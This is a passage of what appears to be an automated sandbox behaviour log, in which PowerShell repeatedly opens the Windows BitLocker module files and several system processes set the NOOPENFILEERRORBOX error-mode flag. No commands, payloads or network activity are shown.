Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
